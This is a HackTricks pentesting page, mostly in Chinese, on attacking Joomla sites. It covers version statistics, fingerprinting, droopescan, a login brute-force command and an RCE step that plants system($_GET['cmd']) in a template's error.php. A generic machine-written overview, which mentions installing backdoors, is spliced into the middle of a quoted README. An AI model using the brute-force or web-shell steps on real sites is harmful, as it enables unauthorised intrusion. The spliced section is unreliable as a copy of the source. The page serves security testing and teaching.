hacktricks/network-services-pentesting/pentesting-web/joomla.md
2023-08-03 19:12:22 +00:00

8.1 KiB
Raw Blame History

Joomla

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

Joomla 统计信息

Joomla 收集一些匿名的使用统计信息,例如在 Joomla 安装中使用的 Joomla、PHP 和数据库版本以及服务器操作系统的分布情况。可以通过他们的公共API查询这些数据。

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

枚举

发现/足迹

  • 检查 meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

  • robots.txt

  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla是一种流行的开源内容管理系统CMS广泛用于构建和管理网站。在进行Joomla网站渗透测试时以下是一些有用的技巧和方法。

信息收集

在进行Joomla渗透测试之前首先需要收集有关目标网站的信息。以下是一些常用的信息收集技术

  • Whois查询使用Whois工具获取目标网站的注册信息包括域名所有者和联系方式。

  • 子域名枚举:使用工具如Sublist3rAmass来查找目标网站的子域名。

  • 目录扫描:使用工具如DirbGobuster来扫描目标网站的目录结构,寻找可能存在的敏感文件或目录。

漏洞利用

一旦收集到目标网站的信息,可以尝试利用以下漏洞进行攻击:

  • SQL注入通过在Joomla的搜索功能或用户输入字段中注入恶意SQL代码可以获取敏感信息或执行任意命令。

  • 文件上传漏洞利用Joomla中存在的文件上传漏洞可以上传恶意文件并执行任意代码。

  • 未授权访问尝试访问Joomla的管理界面或其他敏感页面使用默认或弱密码进行登录。

提权和后渗透

一旦成功获取对目标网站的访问权限,可以尝试进行以下操作:

  • 提权查找Joomla的已知漏洞或配置错误以获取更高的权限。

  • 后门安装:在目标网站上安装后门,以便在以后访问网站。

  • 数据泄露:查找目标网站上存储的敏感数据,如用户凭据或数据库备份。

防御措施

为了保护Joomla网站免受攻击可以采取以下防御措施

  • 及时更新定期更新Joomla及其插件和主题以修复已知漏洞。

  • 强密码使用强密码来保护Joomla的管理员账户和其他用户账户。

  • 访问控制限制对Joomla管理界面的访问并仅允许授权用户访问敏感页面。

  • 安全插件:安装并配置安全插件,如RSFirewallAkeeba Admin Tools以增强Joomla的安全性。

以上是关于Joomla网站渗透测试的一些基本技巧和方法。请记住在进行任何渗透测试活动时始终遵守法律和道德规范。

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

版本

  • /administrator/manifests/files/joomla.xml 文件中,你可以看到版本信息。
  • /language/en-GB/en-GB.xml 文件中,你可以获取 Joomla 的版本。
  • plugins/system/cache/cache.xml 文件中,你可以看到一个大致的版本信息。

自动化

droopescan scan joomla --url http://joomla-site.local/

暴力破解

您可以使用此脚本来尝试暴力破解登录。

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

如果你成功获取了管理员凭证,你可以通过添加一段PHP代码来在其中实现RCE。我们可以通过自定义一个模板来实现这一点。

  1. 在底部左侧的Configuration下,点击Templates以打开模板菜单。
  2. Template列标题下,点击一个模板名称。让我们选择protostar。这将带我们进入**Templates: Customise**页面。
  3. 最后,你可以点击一个页面以查看页面源代码。让我们选择error.php页面。我们将添加一行PHP代码来实现代码执行,如下所示:
    system($_GET['cmd']);
    
  4. 保存并关闭
  5. curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥